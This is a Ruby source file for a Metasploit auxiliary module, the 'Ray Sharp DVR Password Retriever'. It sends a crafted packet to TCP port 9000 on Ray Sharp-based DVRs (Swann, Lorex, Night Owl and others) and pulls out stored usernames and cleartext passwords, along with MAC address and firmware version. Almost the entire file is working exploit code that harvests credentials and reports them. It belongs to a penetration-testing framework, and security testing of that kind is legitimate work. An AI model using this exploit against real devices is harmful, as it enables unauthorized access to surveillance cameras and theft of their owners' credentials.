metasploit-framework/modules/auxiliary/scanner/misc/raysharp_dvr_passwords.rb

113 lines
2.7 KiB
Ruby
Raw Normal View History

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
# http://metasploit.com/
##
require 'msf/core'
class Metasploit3 < Msf::Auxiliary
include Msf::Exploit::Remote::Tcp
include Msf::Auxiliary::Report
include Msf::Auxiliary::Scanner
def initialize
super(
'Name' => 'Ray Sharp DVR Password Retriever',
'Description' => %q{
This module takes advantage of a protocol design issue with the
Ray Sharp based DVR systems. It is possible to retrieve the username and
password through the TCP service running on port 9000. Other brands using
this platform and exposing the same issue may include Swann, Lorex,
Night Owl, Zmodo, URMET, and KGuard Security.
},
'Author' =>
[
'someluser', # Python script
2013-01-23 22:29:25 +00:00
'hdm' # Metasploit module
],
'References' =>
[
[ 'URL', 'http://console-cowboys.blogspot.com/2013/01/swann-song-dvr-insecurity.html' ]
],
'License' => MSF_LICENSE
)
register_options( [ Opt::RPORT(9000) ], self.class)
end
def run_host(ip)
req =
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x0E\x0F" +
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x14\x00\x00\x00\x00\x00" +
( "\x00" * 475 )
connect
sock.put(req)
buf = ""
begin
# Pull data until the socket closes or we time out
Timeout.timeout(15) do
loop do
res = sock.get_once(-1, 1)
buf << res if res
end
end
rescue ::Timeout::Error
rescue ::EOFError
end
disconnect
info = ""
mac = nil
ver = nil
creds = {}
buf.scan(/[\x00\xff]([\x20-\x7f]{1,32})\x00+([\x20-\x7f]{1,32})\x00\x00([\x20-\x7f]{1,32})\x00/m).each do |cred|
# Make sure the two passwords match
next unless cred[1] == cred[2]
creds[cred[0]] = cred[1]
end
if creds.keys.length > 0
creds.keys.sort.each do |user|
pass = creds[user]
report_auth_info({
:host => rhost,
:port => rport,
:sname => 'dvr',
:duplicate_ok => false,
:user => user,
:pass => pass
})
info << "(user='#{user}' pass='#{pass}') "
end
end
# Look for MAC address
if buf =~ /([0-9A-F]{2}\-[0-9A-F]{2}\-[0-9A-F]{2}\-[0-9A-F]{2}\-[0-9A-F]{2}\-[0-9A-F]{2})/mi
mac = $1
end
# Look for version
if buf =~ /(V[0-9]+\.[0-9][^\x00]+)/m
ver = $1
end
info << "mac=#{mac} " if mac
info << "version=#{ver} " if ver
return unless (creds.keys.length > 0 or mac or ver)
report_service(:host => rhost, :port => rport, :sname => 'dvr', :info => info)
print_good("#{rhost}:#{rport} #{info}")
end
end